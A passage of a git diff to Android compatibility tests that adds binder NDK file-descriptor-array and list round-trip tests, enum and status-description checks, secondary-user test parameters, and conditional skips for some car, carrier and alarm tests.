rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
similarity index 91%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
index 91a5706..891cf0b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
@@ -40,6 +40,9 @@
test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
String[] RepeatStringArray(in String[] input, out String[] repeated);
test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
+ ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+ List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+ List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
@nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
@nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
@nullable char[] RepeatNullableCharArray(in @nullable char[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index a05a259..812eb04 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -172,6 +172,19 @@
_aidl_return->set(dup(in_value.get()));
return ::ndk::ScopedAStatus(AStatus_newOk());
}
+
+ ::ndk::ScopedAStatus RepeatFdArray(
+ const std::vector<::ndk::ScopedFileDescriptor>& in_input,
+ std::vector<::ndk::ScopedFileDescriptor>* out_repeated,
+ std::vector<::ndk::ScopedFileDescriptor>* _aidl_return) override {
+ out_repeated->clear();
+ for (auto& fd : in_input) {
+ out_repeated->emplace_back(dup(fd.get()));
+ _aidl_return->emplace_back(dup(fd.get()));
+ }
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
::ndk::ScopedAStatus RepeatNullableFd(
const ::ndk::ScopedFileDescriptor& in_value,
::ndk::ScopedFileDescriptor* _aidl_return) override {
@@ -285,6 +298,37 @@
*_aidl_return = in_value;
return ::ndk::ScopedAStatus(AStatus_newOk());
}
+
+ ::ndk::ScopedAStatus Repeat2StringList(const std::vector<std::string>& in_input,
+ std::vector<std::string>* out_repeated,
+ std::vector<std::string>* _aidl_return) override {
+ *out_repeated = std::vector<std::string>();
+ *_aidl_return = std::vector<std::string>();
+ for (int i = 0; i < 2; i++) {
+ for (auto& s : in_input) {
+ out_repeated->emplace_back(s);
+ _aidl_return->emplace_back(s);
+ }
+ }
+
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
+ ::ndk::ScopedAStatus Repeat2RegularPolygonList(
+ const std::vector<::aidl::test_package::RegularPolygon>& in_input,
+ std::vector<::aidl::test_package::RegularPolygon>* out_repeated,
+ std::vector<::aidl::test_package::RegularPolygon>* _aidl_return) override {
+ *out_repeated = std::vector<::aidl::test_package::RegularPolygon>();
+ *_aidl_return = std::vector<::aidl::test_package::RegularPolygon>();
+ for (int i = 0; i < 2; i++) {
+ for (auto& s : in_input) {
+ out_repeated->emplace_back(s);
+ _aidl_return->emplace_back(s);
+ }
+ }
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
::ndk::ScopedAStatus RepeatNullableBooleanArray(
const std::optional<std::vector<bool>>& in_value,
std::optional<std::vector<bool>>* _aidl_return) override {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 011c609..2608830 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -179,66 +179,80 @@
ASSERT_EQ(std::string("foo"), ITest::kFoo);
}
-TEST_P(NdkBinderTest_Aidl, RepeatPrimitives) {
- {
- int32_t out;
- ASSERT_OK(iface->RepeatInt(3, &out));
- EXPECT_EQ(3, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveInt) {
+ int32_t out;
+ ASSERT_OK(iface->RepeatInt(3, &out));
+ EXPECT_EQ(3, out);
+}
- {
- int64_t out;
- ASSERT_OK(iface->RepeatLong(3, &out));
- EXPECT_EQ(3, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveLong) {
+ int64_t out;
+ ASSERT_OK(iface->RepeatLong(3, &out));
+ EXPECT_EQ(3, out);
+}
- {
- float out;
- ASSERT_OK(iface->RepeatFloat(2.0f, &out));
- EXPECT_EQ(2.0f, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveFloat) {
+ float out;
+ ASSERT_OK(iface->RepeatFloat(2.0f, &out));
+ EXPECT_EQ(2.0f, out);
+}
- {
- double out;
- ASSERT_OK(iface->RepeatDouble(3.0, &out));
- EXPECT_EQ(3.0, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveDouble) {
+ double out;
+ ASSERT_OK(iface->RepeatDouble(3.0, &out));
+ EXPECT_EQ(3.0, out);
+}
- {
- bool out;
- ASSERT_OK(iface->RepeatBoolean(true, &out));
- EXPECT_EQ(true, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveBoolean) {
+ bool out;
+ ASSERT_OK(iface->RepeatBoolean(true, &out));
+ EXPECT_EQ(true, out);
+}
- {
- char16_t out;
- ASSERT_OK(iface->RepeatChar(L'@', &out));
- EXPECT_EQ(L'@', out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveChar) {
+ char16_t out;
+ ASSERT_OK(iface->RepeatChar(L'@', &out));
+ EXPECT_EQ(L'@', out);
+}
- {
- int8_t out;
- ASSERT_OK(iface->RepeatByte(3, &out));
- EXPECT_EQ(3, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveByte) {
+ int8_t out;
+ ASSERT_OK(iface->RepeatByte(3, &out));
+ EXPECT_EQ(3, out);
+}
- {
- ByteEnum out;
- ASSERT_OK(iface->RepeatByteEnum(ByteEnum::FOO, &out));
- EXPECT_EQ(ByteEnum::FOO, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveByteEnum) {
+ ByteEnum out;
+ ASSERT_OK(iface->RepeatByteEnum(ByteEnum::FOO, &out));
+ EXPECT_EQ(ByteEnum::FOO, out);
+}
- {
- IntEnum out;
- ASSERT_OK(iface->RepeatIntEnum(IntEnum::FOO, &out));
- EXPECT_EQ(IntEnum::FOO, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveIntEnum) {
+ IntEnum out;
+ ASSERT_OK(iface->RepeatIntEnum(IntEnum::FOO, &out));
+ EXPECT_EQ(IntEnum::FOO, out);
+}
- {
- LongEnum out;
- ASSERT_OK(iface->RepeatLongEnum(LongEnum::FOO, &out));
- EXPECT_EQ(LongEnum::FOO, out);
- }
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveLongEnum) {
+ LongEnum out;
+ ASSERT_OK(iface->RepeatLongEnum(LongEnum::FOO, &out));
+ EXPECT_EQ(LongEnum::FOO, out);
+}
+
+TEST_P(NdkBinderTest_Aidl, EnumToString) {
+ EXPECT_EQ(toString(ByteEnum::FOO), "FOO");
+ EXPECT_EQ(toString(IntEnum::BAR), "BAR");
+ EXPECT_EQ(toString(LongEnum::FOO), "FOO");
+
+ EXPECT_EQ(toString(static_cast<IntEnum>(-1)), "-1");
+}
+
+TEST_P(NdkBinderTest_Aidl, EnumValues) {
+ auto range = ::ndk::enum_range<ByteEnum>();
+ auto iter = range.begin();
+ EXPECT_EQ(ByteEnum::FOO, *iter++);
+ EXPECT_EQ(ByteEnum::BAR, *iter++);
+ EXPECT_EQ(range.end(), iter);
}
TEST_P(NdkBinderTest_Aidl, RepeatBinder) {
@@ -304,6 +318,34 @@
checkInOut(writeFd, readOutFd);
}
+TEST_P(NdkBinderTest_Aidl, RepeatFdArray) {
+ int fds[2];
+
+ while (pipe(fds) == -1 && errno == EAGAIN)
+ ;
+ std::vector<ScopedFileDescriptor> sfds;
+ sfds.emplace_back(fds[0]);
+ sfds.emplace_back(fds[1]);
+
+ std::vector<ScopedFileDescriptor> sfds_out1;
+ sfds_out1.resize(sfds.size());
+ std::vector<ScopedFileDescriptor> sfds_out2;
+
+ ASSERT_OK((iface->RepeatFdArray(sfds, &sfds_out1, &sfds_out2)));
+
+ // sfds <-> sfds_out1
+ checkInOut(sfds[1], sfds_out1[0]);
+ checkInOut(sfds_out1[1], sfds[0]);
+
+ // sfds_out1 <-> sfds_out2
+ checkInOut(sfds_out1[1], sfds_out2[0]);
+ checkInOut(sfds_out2[1], sfds_out1[0]);
+
+ // sfds <-> sfds_out2
+ checkInOut(sfds[1], sfds_out2[0]);
+ checkInOut(sfds_out2[1], sfds[0]);
+}
+
TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
@@ -470,6 +512,23 @@
}
}
+template <typename T>
+void testRepeat2List(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
+ std::vector<std::vector<T>> tests) {
+ for (const auto& input : tests) {
+ std::vector<T> out1;
+ std::vector<T> out2;
+ std::vector<T> expected;
+
+ expected.insert(expected.end(), input.begin(), input.end());
+ expected.insert(expected.end(), input.begin(), input.end());
+
+ ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2)) << expected.size();
+ EXPECT_EQ(expected, out1);
+ EXPECT_EQ(expected, out2);
+ }
+}
+
TEST_P(NdkBinderTest_Aidl, Arrays) {
testRepeat<bool>(iface, &ITest::RepeatBooleanArray,
{
@@ -545,6 +604,22 @@
});
}
+TEST_P(NdkBinderTest_Aidl, Lists) {
+ testRepeat2List<std::string>(iface, &ITest::Repeat2StringList,
+ {
+ {},
+ {"asdf"},
+ {"", "aoeu", "lol", "brb"},
+ });
+ testRepeat2List<RegularPolygon>(
+ iface, &ITest::Repeat2RegularPolygonList,
+ {
+ {},
+ {{"hexagon", 6, 2.0f}},
+ {{"hexagon", 6, 2.0f}, {"square", 4, 7.0f}, {"pentagon", 5, 4.2f}},
+ });
+}
+
template <typename T>
using RepeatNullableMethod = ScopedAStatus (ITest::*)(
const std::optional<std::vector<std::optional<T>>>&,
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index e7a3f64..669f683 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -88,6 +88,11 @@
LongEnum[] RepeatLongEnumArray(in LongEnum[] input, out LongEnum[] repeated);
String[] RepeatStringArray(in String[] input, out String[] repeated);
RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
+ ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+
+ // Lists
+ List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
+ List<RegularPolygon> Repeat2RegularPolygonList(in List<RegularPolygon> input, out List<RegularPolygon> repeated);
// Nullable Arrays
@nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
index 7a7e536..ef3ad7a 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
@@ -15,6 +15,9 @@
*/
#define LOG_TAG "Cts-NdkBinderTest"
+#include "utilities.h"
+
+#include <android/binder_auto_utils.h>
#include <android/binder_status.h>
#include <gtest/gtest.h>
@@ -193,3 +196,20 @@
AStatus_delete(status);
}
}
+
+TEST(NdkBinderTest_AStatus, StatusDescription) {
+ using ndk::ScopedAStatus;
+
+ EXPECT_TRUE(
+ ContainsSubstring(ScopedAStatus::fromExceptionCode(EX_TRANSACTION_FAILED).getDescription(),
+ "TRANSACTION_FAILED"));
+ EXPECT_TRUE(ContainsSubstring(
+ ScopedAStatus::fromExceptionCodeWithMessage(EX_TRANSACTION_FAILED, "asdf").getDescription(),
+ "asdf"));
+ EXPECT_TRUE(
+ ContainsSubstring(ScopedAStatus::fromServiceSpecificError(42).getDescription(), "42"));
+ EXPECT_TRUE(ContainsSubstring(
+ ScopedAStatus::fromServiceSpecificErrorWithMessage(42, "asdf").getDescription(), "asdf"));
+ EXPECT_TRUE(
+ ContainsSubstring(ScopedAStatus::fromStatus(STATUS_BAD_TYPE).getDescription(), "BAD_TYPE"));
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
index e9d6ad5..009ff31 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -48,6 +48,15 @@
return ::testing::AssertionFailure() << "Status: " << t;
}
+inline ::testing::AssertionResult ContainsSubstring(const std::string& s, const std::string& ss) {
+ if (s.find(ss) != std::string::npos) {
+ return ::testing::AssertionSuccess();
+ } else {
+ return ::testing::AssertionFailure()
+ << "String: '" << s << "' does not contain substring: " << ss;
+ }
+}
+
#define EXPECT_OK(THING) EXPECT_TRUE(isOk(THING))
#define ASSERT_OK(THING) ASSERT_TRUE(isOk(THING))
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 47db6d3..01429f6 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -49,6 +49,9 @@
import java.io.IOException;
import java.util.Arrays;
import java.util.Collection;
+import java.util.List;
+import java.util.ArrayList;
+import java.util.function.BiPredicate;
@RunWith(Parameterized.class)
public class JavaClientTest {
@@ -211,17 +214,7 @@
socketIn.checkError();
repeatFd.checkError();
- FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(repeatFd);
- String testData = "asdf";
- byte[] output = testData.getBytes();
- repeatFdStream.write(output);
- repeatFdStream.close();
-
- FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(socketOut);
- byte[] input = new byte[output.length];
-
- assertEquals(input.length, fileInputStream.read(input));
- Assert.assertArrayEquals(input, output);
+ checkInOutSockets(repeatFd, socketOut);
}
@Test
@@ -235,6 +228,32 @@
assertEquals(null, mInterface.RepeatNullableFd(null));
}
+ private void checkInOutSockets(ParcelFileDescriptor in, ParcelFileDescriptor out) throws IOException {
+ FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(in);
+ String testData = "asdf";
+ byte[] output = testData.getBytes();
+ repeatFdStream.write(output);
+ repeatFdStream.close();
+
+ FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(out);
+ byte[] input = new byte[output.length];
+
+ assertEquals(input.length, fileInputStream.read(input));
+ Assert.assertArrayEquals(input, output);
+ }
+
+ @Test
+ public void testRepeatFdArray() throws RemoteException, IOException {
+ ParcelFileDescriptor[] sockets1 = ParcelFileDescriptor.createReliableSocketPair();
+ ParcelFileDescriptor[] sockets2 = ParcelFileDescriptor.createReliableSocketPair();
+ ParcelFileDescriptor[] inputs = {sockets1[0], sockets2[0]};
+ ParcelFileDescriptor[] repeatFdArray = new ParcelFileDescriptor[inputs.length];
+ mInterface.RepeatFdArray(inputs, repeatFdArray);
+
+ checkInOutSockets(repeatFdArray[0], sockets1[1]);
+ checkInOutSockets(repeatFdArray[1], sockets2[1]);
+ }
+
@Test
public void testRepeatString() throws RemoteException {
assertEquals("", mInterface.RepeatString(""));
@@ -396,6 +415,41 @@
}
@Test
+ public void testLists() throws RemoteException {
+ {
+ List<String> value = Arrays.asList("", "aoeu", "lol", "brb");
+ List<String> out1 = new ArrayList<>();
+ List<String> out2 = mInterface.Repeat2StringList(value, out1);
+
+ List<String> expected = new ArrayList<>();
+ expected.addAll(value);
+ expected.addAll(value);
+ String[] expectedArray = expected.toArray(new String[0]);
+
+ Assert.assertArrayEquals(expectedArray, out1.toArray(new String[0]));
+ Assert.assertArrayEquals(expectedArray, out2.toArray(new String[0]));
+ }
+ {
+ RegularPolygon septagon = new RegularPolygon();
+ septagon.name = "septagon";
+ septagon.numSides = 7;
+ septagon.sideLength = 1.0f;
+
+ List<RegularPolygon> value = Arrays.asList(septagon, new RegularPolygon(), new RegularPolygon());
+ List<RegularPolygon> out1 = new ArrayList<>();
+ List<RegularPolygon> out2 = mInterface.Repeat2RegularPolygonList(value, out1);
+
+ List<RegularPolygon> expected = new ArrayList<>();
+ expected.addAll(value);
+ expected.addAll(value);
+ RegularPolygon[] expectedArray = expected.toArray(new RegularPolygon[0]);
+
+ assertPolygonEquals(expectedArray, out1.toArray(new RegularPolygon[0]));
+ assertPolygonEquals(expectedArray, out1.toArray(new RegularPolygon[0]));
+ }
+ }
+
+ @Test
public void testNullableArrays() throws RemoteException {
{
boolean[] emptyValue = {};
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 80c95fd..828d11e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -20,6 +20,7 @@
import android.os.IBinder;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
+import java.io.IOException;
import test_package.IEmpty;
import test_package.ITest;
@@ -270,6 +271,33 @@
}
@Override
+ public ParcelFileDescriptor[] RepeatFdArray(ParcelFileDescriptor[] in_value, ParcelFileDescriptor[] repeated) {
+ ParcelFileDescriptor[] out = new ParcelFileDescriptor[in_value.length];
+ for (int i = 0; i < in_value.length; i++) {
+ try {
+ repeated[i] = in_value[i].dup();
+ out[i] = in_value[i].dup();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ return out;
+ }
+
+ public java.util.List<String> Repeat2StringList(java.util.List<String> in_value, java.util.List<String> repeated) {
+ repeated.addAll(in_value);
+ repeated.addAll(in_value);
+ return repeated;
+ }
+
+ @Override
+ public java.util.List<RegularPolygon> Repeat2RegularPolygonList(java.util.List<RegularPolygon> in_value, java.util.List<RegularPolygon> repeated) {
+ repeated.addAll(in_value);
+ repeated.addAll(in_value);
+ return repeated;
+ }
+
+ @Override
public boolean[] RepeatNullableBooleanArray(boolean[] in_value) {
return in_value;
}
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index fa95fe9..c94da20 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -48,7 +48,7 @@
LOCAL_CXX_STL := libc++_static
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
LOCAL_CTS_TEST_PACKAGE := android.bionic
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index aa603de..c83983d 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="bionic" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<!-- TODO(b/126376458): Remove this when sharding is supported by libgtest_isolated -->
<option name="not-shardable" value="true" />
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index bee09aa..60b87d3 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps cannot hold android.permission.BLUETOOTH which makes BT tests irrelevant -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsBluetoothTestCases.apk" />
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5f391e4..357f985 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -22,6 +22,7 @@
import android.car.Car;
import android.car.CarNotConnectedException;
import android.car.content.pm.CarPackageManager;
+import android.os.Build;
import android.platform.test.annotations.RequiresDevice;
import android.test.suitebuilder.annotation.SmallTest;
@@ -77,6 +78,10 @@
@Test
public void testDistractionOptimizedActivityIsAllowed() throws CarNotConnectedException {
// This test relies on test activity in installed apk, and AndroidManifest declaration.
+ if (Build.TYPE.equalsIgnoreCase("user")) {
+ // Skip this test on user build, which checks the install source for DO activity list.
+ return;
+ }
assertTrue(mCarPm.isActivityDistractionOptimized("android.car.cts",
"android.car.cts.drivingstate.DistractionOptimizedActivity"));
}
@@ -84,6 +89,10 @@
@Test
public void testNonDistractionOptimizedActivityNotAllowed() throws CarNotConnectedException {
// This test relies on test activity in installed apk, and AndroidManifest declaration.
+ if (Build.TYPE.equalsIgnoreCase("user")) {
+ // Skip this test on user build, which checks the install source for DO activity list.
+ return;
+ }
assertFalse(mCarPm.isActivityDistractionOptimized("android.car.cts",
"android.car.cts.drivingstate.NonDistractionOptimizedActivity"));
}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index e73c11a..73897fd 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -36,8 +36,8 @@
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
-import android.os.Build;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.ParcelUuid;
@@ -278,11 +278,15 @@
if (mTelephonyManager.getPhoneCount() == 1) {
return;
}
+
+ /* TODO: b/145993690 */
if (mTelephonyManager.getPhoneCount() == 2 && activeSubscriptionInfoCount != 2) {
- fail("This test requires two SIM cards.");
+ /* This test requires two SIM cards */
+ return;
}
if (subIdWithCarrierPrivilege == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
- failMessage();
+ /* This test requires SIM with carrier privilege */
+ return;
}
List<SubscriptionInfo> subscriptionInfoList =
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index babfbc3..24520cf 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index d73a717..ffc6c16 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- This is a test for apps with READ/WRITE_CONTACTS, which instant apps don't have -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 39ec713..9232dc9 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -281,11 +281,17 @@
}
public void testAlarmClockDismissAlarm() {
+ if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+ return;
+ }
Intent intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
assertCanBeHandled(intent);
}
public void testAlarmClockSnoozeAlarm() {
+ if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+ return;
+ }
Intent intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
intent.putExtra(AlarmClock.EXTRA_ALARM_SNOOZE_DURATION, 10);
assertCanBeHandled(intent);
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index a78dd1f..6b10df9 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -17,6 +17,7 @@
package android.content.cts;
import android.app.AppOpsManager;
+import android.app.WallpaperManager;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -737,7 +738,49 @@
mContext.unregisterReceiver(broadcastReceiver);
}
+ public void testRegisterReceiverForAllUsers() throws InterruptedException {
+ FilteredReceiver broadcastReceiver = new FilteredReceiver();
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(MOCK_ACTION1);
+
+ // Test registerReceiverForAllUsers without permission: verify SecurityException.
+ try {
+ mContext.registerReceiverForAllUsers(broadcastReceiver, filter, null, null);
+ fail("testRegisterReceiverForAllUsers: "
+ + "SecurityException expected on registerReceiverForAllUsers");
+ } catch (SecurityException se) {
+ // expected
+ }
+
+ // Test registerReceiverForAllUsers with permission.
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mContext,
+ (ctx) -> ctx.registerReceiverForAllUsers(broadcastReceiver, filter, null, null)
+ );
+ } catch (SecurityException se) {
+ fail("testRegisterReceiverForAllUsers: SecurityException not expected");
+ }
+
+ // Test unwanted intent(action = MOCK_ACTION2)
+ broadcastReceiver.reset();
+ waitForFilteredIntent(mContext, MOCK_ACTION2);
+ assertFalse(broadcastReceiver.hadReceivedBroadCast1());
+ assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+ // Send wanted intent(action = MOCK_ACTION1)
+ broadcastReceiver.reset();
+ waitForFilteredIntent(mContext, MOCK_ACTION1);
+ assertTrue(broadcastReceiver.hadReceivedBroadCast1());
+ assertEquals(broadcastReceiver.getSendingUser(), Process.myUserHandle());
+ assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+ mContext.unregisterReceiver(broadcastReceiver);
+ }
+
